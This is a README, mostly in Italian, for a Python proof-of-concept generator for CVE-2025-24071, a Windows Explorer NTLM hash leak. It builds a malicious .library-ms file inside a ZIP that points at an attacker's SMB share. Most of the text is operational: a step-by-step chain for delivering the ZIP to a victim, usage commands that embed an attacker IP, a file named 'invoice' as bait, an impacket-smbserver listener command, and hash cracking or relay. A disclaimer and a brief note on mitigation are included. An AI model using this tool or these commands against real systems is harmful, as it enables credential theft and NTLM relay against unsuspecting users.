
Generatore PoC Python senza dipendenze per CVE-2025-24071 che crea un file .library-ms malevolo in un ZIP per attivare la divulgazione dell'hash NTLM di Windows Explorer.
⚠️ Disclaimer: Questo strumento è destinato esclusivamente a scopi educativi e a test di penetrazione autorizzati. Utilizzalo solo contro sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta ai test. L'uso non autorizzato è illegale.
Windows File Explorer analizza automaticamente determinati tipi di file non appena compaiono nella visualizzazione di una cartella, senza alcuna interazione da parte dell'utente come un doppio clic. Le versioni interessate non riescono a validare correttamente i file .library-ms, che possono definire un connettore di ricerca puntato a un percorso SMB remoto arbitrario.
Quando Explorer visualizza una cartella contenente un file .library-ms malevolo (ad esempio subito dopo l'estrazione di un archivio ZIP/RAR), tenta silenziosamente di connettersi al percorso UNC controllato dall'attaccante per risolvere la posizione della "libreria". Questo tentativo di connessione SMB trasporta l'hash NetNTLMv2 della vittima, che un attaccante in grado di catturare il traffico sull'host specificato (ad esempio con impacket-smbserver o Responder) può poi tentare di crackare offline o di relayare.
Questo repository contiene una riscrittura minimale e senza dipendenze di un generatore PoC pubblico per questa vulnerabilità: costruisce il file .library-ms malevolo e lo impacchetta in un ZIP, utilizzando esclusivamente la libreria standard di Python.
Un file .library-ms è un documento XML che indica a Windows Explorer di visualizzare il contenuto di una posizione remota o locale come una "libreria". Il suo elemento <simpleLocation><url> può puntare a un percorso UNC (\\<host>\<share>).
Nelle versioni interessate, Explorer risolve questa posizione non appena la cartella viene visualizzata — non è richiesto alcun doppio clic o azione esplicita oltre alla presenza del file visibile nella visualizzazione di una cartella (ad esempio, subito dopo l'estrazione di un archivio che lo contiene).
impacket-smbserver, Responder, ecc.)..library-ms malevolo, puntato a \\<attacker_ip>\<share>.1. Start an SMB listener on the attacker machine
2. Generate a .library-ms file pointing to \\<attacker_ip>\<share>
3. Package it into a ZIP archive
4. Deliver the ZIP to the victim (upload feature, email, share, etc.)
5. Victim extracts the ZIP and Explorer renders the folder
6. Explorer resolves the UNC path -> SMB auth attempt -> NetNTLMv2 hash captured
7. Crack the hash offline (hashcat -m 5600) or relay it
os, sys, argparse, zipfile)Non sono necessarie dipendenze di terze parti per generare il payload. La cattura dell'hash richiede un listener SMB come Impacket (impacket-smbserver) o Responder sul lato attaccante.
git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071
usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]
options:
-n NAME, --name NAME Output base filename (no extension)
-i IP, --ip IP Attacker IP to embed as the UNC path target
-s SHARE, --share SHARE Share name (default: shared)
-o OUTDIR, --outdir OUTDIR Output directory (default: current dir)
-a, --affected-versions Print the list of affected Windows versions and exit
python3 cve_2025_24071.py -n invoice -i 10.10.14.5
Questo produce invoice.zip, contenente invoice.library-ms puntato a \\10.10.14.5\shared.
impacket-smbserver shared /tmp/smbshare -smb2support
python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads
python3 cve_2025_24071.py -a
.library-ms e tipi di file simili analizzati automaticamente prima che raggiungano le workstation degli utenti finali..library-ms, nessuna nuova tecnica di exploit| Campo | Valore |
|---|
| CVE | CVE-2025-24071 |
| Interessati | Windows 10 (1607–22H2), Windows 11 (22H2–24H2), Windows Server 2012 R2 – 2025 |
| Tipo | Esposizione di informazioni sensibili a un attore non autorizzato (CWE-200) |
| Privilegi | Nessuno (attaccante non autenticato; richiede che la vittima visualizzi/estrai il file) |
| Impatto | Divulgazione dell'hash NetNTLMv2 → cracking offline o relay NTLM |
| CVSS | 7.5 Alto (secondo GitHub Advisory Database) / 6.5 (base MSRC) |
| Patch | Aggiornamenti cumulativi del Patch Tuesday di marzo 2025 |